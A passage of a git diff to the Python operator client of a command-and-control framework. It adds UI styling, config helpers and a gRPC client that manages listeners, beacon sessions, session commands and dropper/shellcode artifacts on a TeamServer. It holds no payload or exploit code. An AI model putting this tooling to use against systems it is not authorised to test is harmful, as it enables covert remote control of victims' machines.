self.moveSelection(-1) + + def currentCompletion(self) -> CompletionOption | None: + row = self.dropdown.currentRow() + if row < 0 or row >= len(self._currentOptions): + return None + return self._currentOptions[row] + + def acceptClickedCompletion(self, item: QListWidgetItem) -> None: + index = item.data(Qt.ItemDataRole.UserRole) + if isinstance(index, int) and 0 <= index < len(self._currentOptions): + self.acceptCompletion(self._currentOptions[index]) + + def acceptCurrentCompletion(self) -> None: + option = self.currentCompletion() + if option is not None: + self.acceptCompletion(option) + + def acceptCompletion(self, option: CompletionOption) -> None: + self.lineEdit.setText(option.full_text) + self.lineEdit.setCursorPosition(len(option.full_text)) + self.hideCompletionPopup() + self.completionAccepted.emit(option.full_text) + + def text(self) -> str: + return self.lineEdit.text() + + def displayText(self) -> str: + return self.lineEdit.displayText() + + def setText(self, text: str) -> None: + self.lineEdit.setText(text) + + def clear(self) -> None: + self.lineEdit.clear() + self.hideCompletionPopup() + + def setPlaceholderText(self, text: str) -> None: + self.lineEdit.setPlaceholderText(text) + + def placeholderText(self) -> str: + return self.lineEdit.placeholderText() + + def setCursorPosition(self, position: int) -> None: + self.lineEdit.setCursorPosition(position) + + def cursorPosition(self) -> int: + return self.lineEdit.cursorPosition() + + def setMinimumHeight(self, height: int) -> None: + self.lineEdit.setMinimumHeight(height) + super().setMinimumHeight(height) + + def setFocus(self, reason: Qt.FocusReason = Qt.FocusReason.OtherFocusReason) -> None: + self.lineEdit.setFocus(reason) diff --git a/C2Client/C2Client/console_style.py b/C2Client/C2Client/console_style.py new file mode 100644 index 0000000..0616455 --- /dev/null +++ b/C2Client/C2Client/console_style.py @@ -0,0 +1,167 @@ +from __future__ import annotations + +import html +from datetime import datetime + +from PyQt6.QtGui import QFont, QTextCursor + + +CONSOLE_FONT_FAMILY = "JetBrainsMono Nerd Font" +CONSOLE_FONT_CSS = ( + "'JetBrainsMono Nerd Font','FiraCode Nerd Font','DejaVu Sans Mono'," + "'Noto Sans Mono',monospace" +) + +CONSOLE_COLORS = { + "background": "#0b1117", + "border": "#263241", + "selection": "#184a73", + "text": "#d0d5dd", + "header": "#f2f4f7", + "muted": "#98a2b3", + "timestamp": "#7cd4fd", + "info": "#7cd4fd", + "system": "#7cd4fd", + "user": "#fdb022", + "assistant": "#32d583", + "script": "#a6f4c5", + "command": "#fdb022", + "response": "#f97066", + "success": "#32d583", + "warning": "#fdb022", + "error": "#f97066", +} + + +def console_font() -> QFont: + return QFont(CONSOLE_FONT_FAMILY) + + +def apply_console_output_style(editor) -> None: + editor.setFont(console_font()) + editor.setStyleSheet( + f""" + QTextEdit, QTextBrowser, QPlainTextEdit {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + """ + ) + + +def move_editor_to_end(editor) -> None: + cursor = editor.textCursor() + cursor.movePosition(QTextCursor.MoveOperation.End) + editor.setTextCursor(cursor) + + +def timestamp_text() -> str: + return datetime.now().strftime("%Y:%m:%d %H:%M:%S").rstrip() + + +def tone_color(tone: str) -> str: + return CONSOLE_COLORS.get(tone, CONSOLE_COLORS["info"]) + + +def console_header_html( + label: str, + *, + marker: str = "[+]", + tone: str = "info", + wrap: str = "pre", + timestamp: str | None = None, + show_label: bool = True, +) -> str: + color = tone_color(tone) + line = ( + f'

' + f'[{timestamp or timestamp_text()}]' + f' {html.escape(marker)}' + ) + if show_label and label: + line += f' {html.escape(str(label))}' + return line + "

" + + +def console_status_html( + status: str, + command_id: str, + message: str = "", + *, + tone: str = "info", + timestamp: str | None = None, +) -> str: + line = ( + '

' + f'[{timestamp or timestamp_text()}]' + f' [{html.escape(str(status))}]' + f' {html.escape(str(command_id))}' + ) + if message: + line += f' {html.escape(str(message))}' + return line + "

" + + +def console_pre_html(body: str) -> str: + return ( + '
'
+        f"{body}"
+        "
" + ) + + +def append_console_html(editor, body: str) -> None: + if not body: + return + move_editor_to_end(editor) + if hasattr(editor, "appendHtml"): + editor.appendHtml(body) + else: + editor.insertHtml(body) + editor.insertPlainText("\n") + + +def append_console_text(editor, text: str) -> None: + if not text: + return + append_console_html(editor, console_pre_html(html.escape(str(text)))) + + +def append_console_spacing(editor, lines: int = 1) -> None: + if lines <= 0: + return + move_editor_to_end(editor) + editor.insertPlainText("\n" * lines) + + +def append_console_block( + editor, + header: str = "", + message: str = "", + *, + marker: str = "[+]", + tone: str = "info", + rich_message: bool = False, + show_label: bool = True, +) -> None: + if header: + append_console_html( + editor, + console_header_html( + header, + marker=marker, + tone=tone, + wrap="pre-wrap", + show_label=show_label, + ), + ) + if message: + if rich_message: + append_console_html(editor, f'
{message}
') + else: + append_console_text(editor, message) diff --git a/C2Client/C2Client/env.py b/C2Client/C2Client/env.py index 974b052..9caf89d 100644 --- a/C2Client/C2Client/env.py +++ b/C2Client/C2Client/env.py @@ -6,6 +6,22 @@ from typing import Iterable +PATH_ENV_KEYS = { + "C2_CERT_PATH", + "C2_PROTOCOL_PYTHON_ROOT", + "C2_LOG_DIR", + "C2_DROPPER_MODULES_DIR", + "C2_DROPPER_MODULES_CONF", + "C2_SHELLCODE_MODULES_DIR", + "C2_SHELLCODE_MODULES_CONF", +} + +TRUE_VALUES = {"1", "true", "yes", "y", "on"} +FALSE_VALUES = {"0", "false", "no", "n", "off"} + +_AUTO_ENV_LOADED = False + + def default_env_paths() -> list[Path]: package_root = Path(__file__).resolve().parents[1] @@ -20,6 +36,8 @@ def default_env_paths() -> list[Path]: def load_c2_env(paths: Iterable[Path] | None = None, *, override: bool = False) -> list[Path]: + global _AUTO_ENV_LOADED + loaded: list[Path] = [] seen: set[Path] = set() for raw_path in paths or default_env_paths(): @@ -31,6 +49,7 @@ def load_c2_env(paths: Iterable[Path] | None = None, *, override: bool = False) continue _load_env_file(path, override=override) loaded.append(path) + _AUTO_ENV_LOADED = True return loaded @@ -47,7 +66,10 @@ def _load_env_file(path: Path, *, override: bool) -> None: if not key or (not override and key in os.environ): continue - os.environ[key] = _parse_env_value(value.strip()) + parsed_value = _parse_env_value(value.strip()) + if key in PATH_ENV_KEYS: + parsed_value = _resolve_env_path_value(path, parsed_value) + os.environ[key] = parsed_value def _parse_env_value(value: str) -> str: @@ -60,3 +82,64 @@ def _parse_env_value(value: str) -> str: if not parts: return "" return parts[0] + + +def _resolve_env_path_value(env_file_path: Path, value: str) -> str: + if not value: + return "" + + candidate = Path(value).expanduser() + if not candidate.is_absolute(): + candidate = env_file_path.parent / candidate + return str(candidate.resolve()) + + +def ensure_c2_env_loaded() -> None: + global _AUTO_ENV_LOADED + + if _AUTO_ENV_LOADED: + return + load_c2_env() + + +def env_value(key: str, default: str = "") -> str: + ensure_c2_env_loaded() + return os.getenv(key, default) + + +def env_bool(key: str, default: bool = False) -> bool: + value = env_value(key, "") + if not value: + return default + + normalized = value.strip().lower() + if normalized in TRUE_VALUES: + return True + if normalized in FALSE_VALUES: + return False + return default + + +def env_int(key: str, default: int, *, minimum: int | None = None, maximum: int | None = None) -> int: + value = env_value(key, "") + try: + parsed = int(value) + except (TypeError, ValueError): + parsed = default + + if minimum is not None: + parsed = max(minimum, parsed) + if maximum is not None: + parsed = min(maximum, parsed) + return parsed + + +def env_path(key: str, default: Path | None = None) -> Path | None: + value = env_value(key, "") + if not value: + return default + + path = Path(value).expanduser() + if not path.is_absolute(): + path = Path.cwd() / path + return path.resolve() diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 37d4af5..2261d4e 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -8,13 +8,15 @@ import logging import os import uuid -from typing import Any, Iterable, List, Tuple, Optional +from typing import Any, Callable, Iterable, List, Tuple, Optional import grpc +from .env import env_int, env_path from .protocol_bindings import TeamServerApi_pb2, TeamServerApi_pb2_grpc MetadataType = List[Tuple[str, str]] +StatusCallback = Callable[[str, bool, str], None] class GrpcClient: @@ -45,10 +47,28 @@ def __init__( username: Optional[str] = None, password: Optional[str] = None, ) -> None: - env_cert_path = os.getenv('C2_CERT_PATH') - - if env_cert_path and os.path.isfile(env_cert_path): - ca_cert = env_cert_path + self.ip = ip + self.port = port + self.endpoint = f"{ip}:{port}" + self.devMode = devMode + self.username = username or "" + self.ca_cert_path = "" + self.client_id = str(uuid.uuid4())[:16] + self.last_rpc_operation = "" + self.last_rpc_ok = True + self.last_rpc_message = "" + self._status_callback: Optional[StatusCallback] = None + + configured_cert_path = env_path("C2_CERT_PATH") + + if configured_cert_path: + if not configured_cert_path.is_file(): + logging.error( + "Configured C2 certificate does not exist: %s", + configured_cert_path, + ) + raise ValueError(f"grpcClient: configured certificate not found: {configured_cert_path}") + ca_cert = str(configured_cert_path) logging.info("Using certificate from environment variable: %s", ca_cert) else: try: @@ -60,6 +80,7 @@ def __init__( "Using default certificate: %s. To use a custom C2 certificate, set the C2_CERT_PATH environment variable.", ca_cert, ) + self.ca_cert_path = ca_cert if os.path.exists(ca_cert): with open(ca_cert, 'rb') as fh: @@ -72,28 +93,32 @@ def __init__( raise ValueError("grpcClient: Certificate not found") credentials = grpc.ssl_channel_credentials(root_certs) + self.max_message_mb = env_int("C2_GRPC_MAX_MESSAGE_MB", 512, minimum=1) + self.max_message_bytes = self.max_message_mb * 1024 * 1024 + self.connect_timeout_ms = env_int("C2_GRPC_CONNECT_TIMEOUT_MS", 0, minimum=0) + channel_options = [ + ('grpc.max_send_message_length', self.max_message_bytes), + ('grpc.max_receive_message_length', self.max_message_bytes), + ] if devMode: self.channel = grpc.secure_channel( f"{ip}:{port}", credentials, options=[ ('grpc.ssl_target_name_override', 'localhost'), - ('grpc.max_send_message_length', 512 * 1024 * 1024), - ('grpc.max_receive_message_length', 512 * 1024 * 1024), + *channel_options, ], ) else: self.channel = grpc.secure_channel( f"{ip}:{port}", credentials, - options=[ - ('grpc.max_send_message_length', 512 * 1024 * 1024), - ('grpc.max_receive_message_length', 512 * 1024 * 1024), - ], + options=channel_options, ) try: - grpc.channel_ready_future(self.channel).result() + timeout = self.connect_timeout_ms / 1000 if self.connect_timeout_ms else None + grpc.channel_ready_future(self.channel).result(timeout=timeout) except grpc.RpcError as exc: logging.error("Failed to connect to gRPC server: %s", exc) raise ValueError("grpcClient: unable to connect") from exc @@ -103,12 +128,56 @@ def __init__( if token is None: if username is None or password is None: username, password = self._load_credentials_from_env() + self.username = username token = self._authenticate(username, password) self.metadata: MetadataType = [ ("authorization", f"Bearer {token}"), - ("clientid", str(uuid.uuid4())[:16]), + ("clientid", self.client_id), ] + self._notify_rpc_status("Connect", True) + + def set_status_callback(self, callback: Optional[StatusCallback]) -> None: + """Register a callback receiving RPC status updates.""" + + self._status_callback = callback + + def _notify_rpc_status(self, operation: str, ok: bool, message: str = "") -> None: + self.last_rpc_operation = operation + self.last_rpc_ok = ok + self.last_rpc_message = message + if self._status_callback: + self._status_callback(operation, ok, message) + + def _rpc_error_message(self, exc: grpc.RpcError) -> str: + details = "" + try: + details = exc.details() or "" + except Exception: + details = "" + return details or str(exc) + + def _unary_rpc(self, operation: str, call: Callable[[], Any]) -> Any: + try: + response = call() + self._notify_rpc_status(operation, True) + return response + except grpc.RpcError as exc: + message = self._rpc_error_message(exc) + logging.error("%s RPC failed: %s", operation, exc) + self._notify_rpc_status(operation, False, message) + raise + + def _stream_rpc(self, operation: str, call: Callable[[], Iterable[Any]]) -> Iterable[Any]: + try: + for response in call(): + yield response + self._notify_rpc_status(operation, True) + except grpc.RpcError as exc: + message = self._rpc_error_message(exc) + logging.error("%s RPC failed: %s", operation, exc) + self._notify_rpc_status(operation, False, message) + raise def _load_credentials_from_env(self) -> Tuple[str, str]: username = os.getenv("C2_USERNAME") @@ -128,87 +197,116 @@ def _authenticate(self, username: str, password: str) -> str: raise ValueError(f"grpcClient: authentication failed: {message}") logging.info("Authenticated against TeamServer as %s", username) + self._notify_rpc_status("Authenticate", True) return response.token def listListeners(self) -> Any: """Return the list of listeners registered on the TeamServer.""" empty = TeamServerApi_pb2.Empty() - try: - return self.stub.ListListeners(empty, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("ListListeners RPC failed: %s", exc) - raise + return self._stream_rpc("ListListeners", lambda: self.stub.ListListeners(empty, metadata=self.metadata)) def addListener(self, listener: Any) -> Any: """Add a new listener on the TeamServer.""" - try: - return self.stub.AddListener(listener, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("AddListener RPC failed: %s", exc) - raise + return self._unary_rpc("AddListener", lambda: self.stub.AddListener(listener, metadata=self.metadata)) def stopListener(self, listener: Any) -> Any: """Stop a running listener.""" - try: - return self.stub.StopListener(listener, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("StopListener RPC failed: %s", exc) - raise + return self._unary_rpc("StopListener", lambda: self.stub.StopListener(listener, metadata=self.metadata)) def listSessions(self) -> Any: """Return all active sessions.""" empty = TeamServerApi_pb2.Empty() - try: - return self.stub.ListSessions(empty, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("ListSessions RPC failed: %s", exc) - raise + return self._stream_rpc("ListSessions", lambda: self.stub.ListSessions(empty, metadata=self.metadata)) + + def listArtifacts(self, query: Optional[Any] = None) -> Iterable[Any]: + """Return artifacts indexed by the TeamServer catalog.""" + + if query is None: + query = TeamServerApi_pb2.ArtifactQuery() + return self._stream_rpc("ListArtifacts", lambda: self.stub.ListArtifacts(query, metadata=self.metadata)) + + def downloadArtifact(self, artifact_id: str) -> Any: + """Return artifact payload bytes by id.""" + + selector = TeamServerApi_pb2.ArtifactSelector(artifact_id=artifact_id) + return self._unary_rpc( + "DownloadArtifact", + lambda: self.stub.DownloadArtifact(selector, metadata=self.metadata), + ) + + def uploadArtifact(self, name: str, data: bytes, platform: str = "any", arch: str = "any") -> Any: + """Upload an operator artifact to the TeamServer artifact store.""" + + request = TeamServerApi_pb2.ArtifactUploadRequest( + name=name, + platform=platform, + arch=arch, + data=data, + ) + return self._unary_rpc( + "UploadArtifact", + lambda: self.stub.UploadArtifact(request, metadata=self.metadata), + ) + + def deleteArtifact(self, artifact_id: str) -> Any: + """Delete a deletable TeamServer artifact by id.""" + + selector = TeamServerApi_pb2.ArtifactSelector(artifact_id=artifact_id) + return self._unary_rpc( + "DeleteGeneratedArtifact", + lambda: self.stub.DeleteGeneratedArtifact(selector, metadata=self.metadata), + ) + + def deleteGeneratedArtifact(self, artifact_id: str) -> Any: + """Delete a generated artifact by id.""" + + return self.deleteArtifact(artifact_id) + + def listCommands(self, query: Optional[Any] = None) -> Iterable[Any]: + """Return command specs exposed by the TeamServer catalog.""" + + if query is None: + query = TeamServerApi_pb2.CommandQuery() + return self._stream_rpc("ListCommands", lambda: self.stub.ListCommands(query, metadata=self.metadata)) + + def listModules(self, session: Optional[Any] = None) -> Iterable[Any]: + """Return modules tracked for a beacon session.""" + + if session is None: + session = TeamServerApi_pb2.SessionSelector() + return self._stream_rpc("ListModules", lambda: self.stub.ListModules(session, metadata=self.metadata)) def stopSession(self, session: Any) -> Any: """Terminate a session.""" - try: - return self.stub.StopSession(session, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("StopSession RPC failed: %s", exc) - raise + return self._unary_rpc("StopSession", lambda: self.stub.StopSession(session, metadata=self.metadata)) def sendSessionCommand(self, command: Any) -> Any: """Send a command to the specified session.""" - try: - return self.stub.SendSessionCommand(command, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("SendSessionCommand RPC failed: %s", exc) - raise + return self._unary_rpc("SendSessionCommand", lambda: self.stub.SendSessionCommand(command, metadata=self.metadata)) def streamSessionCommandResults(self, session: Any) -> Iterable[Any]: """Yield responses for a given session.""" - try: - return self.stub.StreamSessionCommandResults(session, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("StreamSessionCommandResults RPC failed: %s", exc) - raise + return self._stream_rpc( + "StreamSessionCommandResults", + lambda: self.stub.StreamSessionCommandResults(session, metadata=self.metadata), + ) def getCommandHelp(self, command: Any) -> Any: """Return help information for a command.""" - try: - return self.stub.GetCommandHelp(command, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("GetCommandHelp RPC failed: %s", exc) - raise + return self._unary_rpc("GetCommandHelp", lambda: self.stub.GetCommandHelp(command, metadata=self.metadata)) def executeTerminalCommand(self, command: Any) -> Any: """Send a command to the TeamServer terminal.""" - try: - return self.stub.ExecuteTerminalCommand(command, metadata=self.metadata) - except grpc.RpcError as exc: - logging.error("ExecuteTerminalCommand RPC failed: %s", exc) - raise + return self._unary_rpc( + "ExecuteTerminalCommand", + lambda: self.stub.ExecuteTerminalCommand(command, metadata=self.metadata), + ) diff --git a/C2Client/C2Client/panel_style.py b/C2Client/C2Client/panel_style.py new file mode 100644 index 0000000..140404e --- /dev/null +++ b/C2Client/C2Client/panel_style.py @@ -0,0 +1,145 @@ +from __future__ import annotations + +from .console_style import CONSOLE_COLORS + + +def main_window_stylesheet() -> str: + return f""" + QMainWindow#C2MainWindow {{ + background-color: #070b10; + color: {CONSOLE_COLORS["text"]}; + }} + QWidget#C2CentralWidget {{ + background-color: #070b10; + color: {CONSOLE_COLORS["text"]}; + }} + QWidget#C2MainTab {{ + background-color: {CONSOLE_COLORS["background"]}; + }} + QTabWidget {{ + background-color: #070b10; + }} + QTabWidget::pane {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + top: -1px; + }} + QTabWidget > QWidget, + QStackedWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + }} + QTabBar {{ + background-color: #070b10; + }} + QTabBar::tab {{ + background-color: #101820; + color: {CONSOLE_COLORS["muted"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + border-bottom: 0; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + padding: 6px 12px; + margin-right: 2px; + min-height: 20px; + }} + QTabBar::tab:selected {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["header"]}; + border-color: {CONSOLE_COLORS["border"]}; + }} + QTabBar::tab:hover {{ + color: {CONSOLE_COLORS["header"]}; + border-color: {CONSOLE_COLORS["timestamp"]}; + }} + QTabBar::tab:!selected {{ + margin-top: 2px; + }} + QStatusBar {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border-top: 1px solid {CONSOLE_COLORS["border"]}; + }} + QStatusBar QLabel {{ + padding: 2px 6px; + }} + """ + + +def apply_main_window_style(window) -> None: + window.setStyleSheet(main_window_stylesheet()) + + +def apply_dark_panel_style(widget) -> None: + widget.setStyleSheet( + f""" + QWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + }} + QLabel {{ + color: {CONSOLE_COLORS["text"]}; + }} + QPushButton {{ + background-color: #101820; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + border-radius: 4px; + padding: 3px 8px; + }} + QPushButton:hover {{ + border-color: {CONSOLE_COLORS["timestamp"]}; + }} + QPushButton:disabled {{ + background-color: {CONSOLE_COLORS["background"]}; + color: #667085; + border-color: #1f2937; + }} + QLineEdit, QComboBox {{ + background-color: #101820; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + border-radius: 4px; + padding: 3px 6px; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QLineEdit:focus, QComboBox:focus {{ + border-color: {CONSOLE_COLORS["timestamp"]}; + }} + QComboBox::drop-down {{ + border: 0; + width: 22px; + }} + QComboBox QAbstractItemView {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QTableWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + alternate-background-color: #101820; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + gridline-color: {CONSOLE_COLORS["border"]}; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QTableWidget::item {{ + padding: 3px 6px; + }} + QHeaderView::section {{ + background-color: #111827; + color: {CONSOLE_COLORS["header"]}; + border: 0; + border-bottom: 1px solid {CONSOLE_COLORS["border"]}; + padding: 4px 6px; + }} + QTableCornerButton::section {{ + background-color: #111827; + border: 0; + border-bottom: 1px solid {CONSOLE_COLORS["border"]}; + }} + """ + ) diff --git a/C2Client/C2Client/protocol_bindings.py b/C2Client/C2Client/protocol_bindings.py index 8b94268..099731e 100644 --- a/C2Client/C2Client/protocol_bindings.py +++ b/C2Client/C2Client/protocol_bindings.py @@ -3,21 +3,54 @@ from __future__ import annotations import importlib -import os import sys from pathlib import Path from typing import Tuple +from .env import env_path + + +def _repo_root() -> Path: + return Path(__file__).resolve().parents[2] + + +def _protocol_file() -> Path: + return _repo_root() / "protocol" / "TeamServerApi.proto" + + +def _package_file(root: Path) -> Path: + return root / "c2client_protocol" / "TeamServerApi_pb2.py" + + +def _package_mtime(root: Path) -> float: + try: + return _package_file(root).stat().st_mtime + except OSError: + return 0.0 + + +def _is_current_package(package_file: Path) -> bool: + try: + return package_file.stat().st_mtime >= _protocol_file().stat().st_mtime + except OSError: + return True + def _candidate_protocol_roots() -> list[Path]: candidates: list[Path] = [] - env_value = os.getenv("C2_PROTOCOL_PYTHON_ROOT") - if env_value: - candidates.append(Path(env_value).expanduser()) + env_root = env_path("C2_PROTOCOL_PYTHON_ROOT") + if env_root: + candidates.append(env_root) - repo_root = Path(__file__).resolve().parents[2] - candidates.extend(sorted(repo_root.glob("build*/generated/python_protocol"))) + repo_root = _repo_root() + candidates.extend( + sorted( + repo_root.glob("build*/generated/python_protocol"), + key=_package_mtime, + reverse=True, + ) + ) candidates.append(repo_root / "build" / "generated" / "python_protocol") unique_candidates: list[Path] = [] @@ -32,8 +65,8 @@ def _candidate_protocol_roots() -> list[Path]: def _ensure_protocol_package_on_path() -> None: for candidate in _candidate_protocol_roots(): - package_file = candidate / "c2client_protocol" / "TeamServerApi_pb2.py" - if not package_file.exists(): + package_file = _package_file(candidate) + if not package_file.exists() or not _is_current_package(package_file): continue candidate_str = str(candidate) if candidate_str not in sys.path: diff --git a/C2Client/C2Client/ui_status.py b/C2Client/C2Client/ui_status.py new file mode 100644 index 0000000..67c8cff --- /dev/null +++ b/C2Client/C2Client/ui_status.py @@ -0,0 +1,81 @@ +"""Shared helpers for operator-visible UI status messages.""" + +from __future__ import annotations + +from enum import Enum +from typing import Any + + +class StatusKind(str, Enum): + NEUTRAL = "neutral" + INFO = "info" + SUCCESS = "success" + WARNING = "warning" + ERROR = "error" + + +STATUS_COLORS = { + StatusKind.NEUTRAL: "", + StatusKind.INFO: "#4b5563", + StatusKind.SUCCESS: "#0a7f2e", + StatusKind.WARNING: "#a05a00", + StatusKind.ERROR: "#b00020", +} + +DEFAULT_LAST_RPC_TEXT = "Last RPC: none" +DEFAULT_LAST_ERROR_TEXT = "Last error: none" + + +def compact_message(message: Any, limit: int = 160) -> str: + """Collapse whitespace and trim long status text for compact UI labels.""" + + text = " ".join(str(message or "").split()) + if limit < 4 or len(text) <= limit: + return text + return text[: limit - 3] + "..." + + +def status_kind_for_ok(ok: bool) -> StatusKind: + return StatusKind.SUCCESS if ok else StatusKind.ERROR + + +def status_stylesheet(kind: StatusKind) -> str: + color = STATUS_COLORS.get(kind, "") + return f"color: {color};" if color else "" + + +def apply_status(label: Any, message: Any, kind: StatusKind = StatusKind.INFO) -> None: + label.setText(str(message or "")) + label.setStyleSheet(status_stylesheet(kind)) + + +def apply_success(label: Any, message: Any) -> None: + apply_status(label, message, StatusKind.SUCCESS) + + +def apply_error(label: Any, message: Any) -> None: + apply_status(label, message, StatusKind.ERROR) + + +def clear_status(label: Any, message: str = "") -> None: + apply_status(label, message, StatusKind.NEUTRAL) + + +def format_last_rpc(operation: str, timestamp: str) -> str: + return f"Last RPC: {operation or 'unknown'} at {timestamp}" + + +def format_action_status(action: str, message: Any, limit: int = 160) -> str: + action_text = compact_message(action, limit=48).rstrip(":") + message_text = compact_message(message, limit=limit) + if not action_text: + return message_text + if not message_text: + return action_text + if message_text.lower().startswith(action_text.lower()): + return message_text + return compact_message(f"{action_text}: {message_text}", limit=limit) + + +def format_last_error(operation: str, message: Any, limit: int = 160) -> str: + return format_action_status(operation or "unknown", message, limit=limit) diff --git a/C2Client/C2Client/window_chrome.py b/C2Client/C2Client/window_chrome.py new file mode 100644 index 0000000..960288d --- /dev/null +++ b/C2Client/C2Client/window_chrome.py @@ -0,0 +1,79 @@ +from __future__ import annotations + +import ctypes +import logging +import sys + +from .console_style import CONSOLE_COLORS + + +logger = logging.getLogger(__name__) + +DWMWA_USE_IMMERSIVE_DARK_MODE = (20, 19) +DWMWA_BORDER_COLOR = 34 +DWMWA_CAPTION_COLOR = 35 +DWMWA_TEXT_COLOR = 36 + + +def colorref_from_hex(hex_color: str) -> int: + """Convert #RRGGBB to Windows COLORREF 0x00bbggrr.""" + + value = str(hex_color or "").strip().lstrip("#") + if len(value) != 6: + raise ValueError(f"Invalid color: {hex_color!r}") + red = int(value[0:2], 16) + green = int(value[2:4], 16) + blue = int(value[4:6], 16) + return red | (green << 8) | (blue << 16) + + +def _set_dwm_attribute(hwnd: int, attribute: int, value: int, c_type) -> bool: + data = c_type(value) + result = ctypes.windll.dwmapi.DwmSetWindowAttribute( + ctypes.c_void_p(hwnd), + ctypes.c_uint(attribute), + ctypes.byref(data), + ctypes.sizeof(data), + ) + return result == 0 + + +def apply_dark_window_chrome(widget) -> bool: + """Request dark native Windows titlebar and border colors. + + Qt stylesheets only affect client-area widgets. The titlebar and outer + window frame are owned by the OS, so this is intentionally a Windows-only + no-op on other platforms. + """ + + if sys.platform != "win32": + return False + + try: + hwnd = int(widget.winId()) + dark_mode_applied = any( + _set_dwm_attribute(hwnd, attribute, 1, ctypes.c_int) + for attribute in DWMWA_USE_IMMERSIVE_DARK_MODE + ) + border_applied = _set_dwm_attribute( + hwnd, + DWMWA_BORDER_COLOR, + colorref_from_hex(CONSOLE_COLORS["border"]), + ctypes.c_uint, + ) + caption_applied = _set_dwm_attribute( + hwnd, + DWMWA_CAPTION_COLOR, + colorref_from_hex(CONSOLE_COLORS["background"]), + ctypes.c_uint, + ) + text_applied = _set_dwm_attribute( + hwnd, + DWMWA_TEXT_COLOR, + colorref_from_hex(CONSOLE_COLORS["header"]), + ctypes.c_uint, + ) + return dark_mode_applied or border_applied or caption_applied or text_applied + except Exception: + logger.debug("Failed to apply Windows dark chrome", exc_info=True) + return False diff --git a/C2Client/TODO.md b/C2Client/TODO.md new file mode 100644 index 0000000..14a26b8 --- /dev/null +++ b/C2Client/TODO.md @@ -0,0 +1,99 @@ +# C2Client Friendly Roadmap + +Objectif: rendre le client plus agreable pour un operateur, puis enrichir proprement l'interaction client/TeamServer. Les items sont classes du moins couteux au plus couteux. + +## Todo List + +| Ordre | Fait | Chantier | Cout | Impact | Notes | +| --- | --- | --- | --- | --- | --- | +| 1 | [x] | Ajouter une barre de statut client | XS | Fort | Fait. Affiche connexion, host, port, utilisateur, mode dev, certificat charge, dernier refresh RPC et derniere erreur gRPC. Client-only. | +| 2 | [x] | Centraliser toutes les configs client dans `.env` | XS | Fort | Fait. Helpers types dans `env.py`, resolution des chemins, branchement certificat, protocol root, logs, refresh intervals, gRPC, UI et assistant. | +| 3 | [x] | Completer `C2Client/.env.example` | XS | Moyen | Fait. Exemple enrichi avec connexion, auth, certificat, protocol root, UI, gRPC, assistant et modules locaux. | +| 4 | [x] | Utiliser `.env` comme defaults CLI | S | Fort | Fait. `C2_IP`, `C2_PORT` et `C2_DEV_MODE` alimentent les defaults CLI, avec arguments CLI prioritaires. | +| 5 | [x] | Rendre les actions principales visibles | S | Fort | Fait. Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; le clic droit reste disponible comme raccourci. | +| 6 | [x] | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | +| 7 | [x] | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC, statuts panels et theme sombre harmonises. | +| 8 | [x] | Nettoyer le bruit console/debug | S | Moyen | Fait. Logging par defaut en WARNING, `print()` UI remplaces, erreurs de scripts visibles dans l'onglet Script sans casser l'UI. | +| 9 | [-] | Ajouter filtres, recherche et tri tables | M | Fort | Non retenu pour le moment. Les tables actuelles restent volontairement simples pendant la stabilisation. | +| 10 | [x] | Humaniser l'etat des sessions | M | Fort | Fait. Etat `Alive/Stale/Killed/Unknown`, last seen relatif, seuil `C2_SESSION_STALE_AFTER_MS=30000`, couleurs discretes et OS complet en tooltip. | +| 11 | [x] | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | +| 12 | [x] | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Fait. Table scripts/hooks, enable/disable, erreurs par script, compteur d'activations, run manuel et hook `ManualStart(context)` avec snapshots sessions/listeners; subtilites de triggers en tooltip. | +| 13 | [x] | Ameliorer le formulaire listener | M | Moyen | Fait. Validation port/IP/domain/token avant RPC, defaults par type, aide inline, erreurs inline et bouton Add bloque tant que les champs sont invalides. | +| 14 | [-] | Ajouter un panneau details session | M | Fort | Non retenu pour le moment. Les details session resteront dans la table, les tooltips et la console beacon pendant la stabilisation. | +| 15 | [x] | Ameliorer le graph | M | 